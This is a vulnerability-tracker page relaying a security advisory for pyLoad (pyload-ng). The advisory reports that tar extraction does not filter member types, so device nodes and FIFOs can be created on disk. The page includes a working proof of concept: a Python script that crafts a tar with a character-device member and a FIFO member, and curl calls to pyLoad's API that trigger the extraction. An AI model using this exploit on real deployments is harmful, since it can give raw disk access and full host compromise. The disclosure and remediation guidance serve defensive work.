GHSA-fr26-jjhm-638c
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
- Risk score
- 51/100
- CVSS
- 7.7 v4.0
- Published
- 9 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fully_trusted, so a crafted tar containing device or FIFO entries …
- Affected
- pyload-ng (pip) <= 0.5.0b3.dev101
- Fix
- No patched version listed yet: check the advisory for mitigations.
- Exploitation
- No known exploitation
Story map
At a glance
pyload-ng: Yellow, plan it in. Api.getUserData (legacy) and Api.get_userdata are declared with @permission(Perms.ANY) and are reachable at /api/getUserData and /api/get_userdata. Because Perms.ANY == 0 and pyLoad's permission check is a bitmask AND, that gate is a no-op: every authenticated account passes, including one holding zero permission bits…
The flaws
- GHSA-fr26-jjhm-638c: PyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=) (CVSS 7.7)
- GHSA-68w4-83fh-f2w8: GetUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password (CVSS 8.1)
- GHSA-r44w-v6gf-x3p6: PyLoad has an authentication bypass in API key validation (check_apikey cache) (CVSS 8.1)
- GHSA-9q47-3cm2-2rp8: PyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header (CVSS 6.9)
The fix
Fix: No patched version listed yet: check the advisory for mitigations.
Who is exposed: pyload-ng (pip) >= 0.5.0b3.dev1, <= 0.5.0b3.dev101
Where it stands
- Public proof of concept
Connects to
- Same weakness: Path traversal (CWE-22). 399 other warnings in 30 days
Why it is Yellow
- CVSS 7.7 high
- On your watchlist: PyPI
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| pyload-ng | pip | <= 0.5.0b3.dev101 | No fix yet |
References
Original description
### Summary `UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member **names** and symlink/hardlink **targets**, but never checks member **types**, and calls `tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is `fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke `ExtractArchive.extract_package`). ### Details ```python # plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numeric_owner=numeric_owner) # no filter= ``` No `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation in `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create FIFOs for any euid. ### PoC ```bash BASE=http://127.0.0.1:8100 # craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF # as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, # then trigger extraction curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}' ls -l <extract dir> # → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) # → prw-r--r-- 1 root root pipe (FIFO created) # → -rw-r--r-- 1 root root marker.txt ``` Negative control: the same flow with a `../evil` traversal member is rejected (`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary is present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.) ### Impact With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees. ### Remediation In `_safe_extractall`, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass `filter="data"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it. ### References - GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
Last activity 9 Oct 2026. Patch Forecast updates every hour.